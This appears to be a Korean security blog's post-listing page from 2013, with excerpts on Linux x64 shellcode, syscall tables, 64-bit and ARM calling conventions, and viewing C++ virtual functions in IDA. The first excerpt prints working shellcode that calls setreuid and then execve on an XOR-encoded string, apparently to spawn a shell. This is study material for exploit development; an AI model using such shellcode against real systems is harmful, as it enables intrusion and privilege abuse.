전체 글143 linux x64 쉘코드 .globl main main: xor %rax, %rax add $0x6b, %rax syscall #getuid mov %rax, %rdi mov %rax, %rsi xor %rax, %rax add $0x71, %rax syscall #setreuid xor %rax, %rax mov $0xaac2d985c4c3c885, %rax mov $0xaaaaaaaaaaaaaaaa, %rcx xor %rcx, %rax push %rax mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall #execve xor %rsi, %rsi xor %rax, %rax add $0x3c, %rax syscall #exit - .. 2013. 12. 15. Linux system call Table 참고 [ x86 ] : http://syscalls.kernelgrok.com/ [ x64 ] : http://blog.rchapman.org/post/36801038863/linux-system-call-table-for-x86-64 2013. 12. 15. 64bit환경의 인자값 전달 방식 64bit 파라미터 전달 [windows - PE] Parameter 1 – RCXParameter 2 – RDXParameter 3 – R8Parameter 4 – R9 [Linux - ELF] Parameter 1 - rdiParameter 2 - rsiParameter 3 - rdxParameter 4 - rcxParameter 5 - r8Parameter 6 - r9Parameter 7 - (%rsp)Parameter 8 - 0x8(%rsp)system call - %rax [*] ARM 레지스터 추가 레지스터APCS 역활 r0 a1 함수 인자1/결과 값 전달범용 스크레치 레지스터 r1 a2 함수 인자2/범용 스크래치 레지스터 r2 a3 함수 인자3/범용 스크래치 레지스터 r3 a4함수 인자4/범.. 2013. 12. 15. IDA로 C++ 클래스의 가상함수를 볼 때 간단하게 아래와 같이 c++을 작성하고 분석해보았다. #include "iostream" using namespace std; class A{ public: int myval; void set(int val) {myval = val; } virtual void print() { cout 2013. 12. 15. 이전 1 ··· 11 12 13 14 15 16 17 ··· 36 다음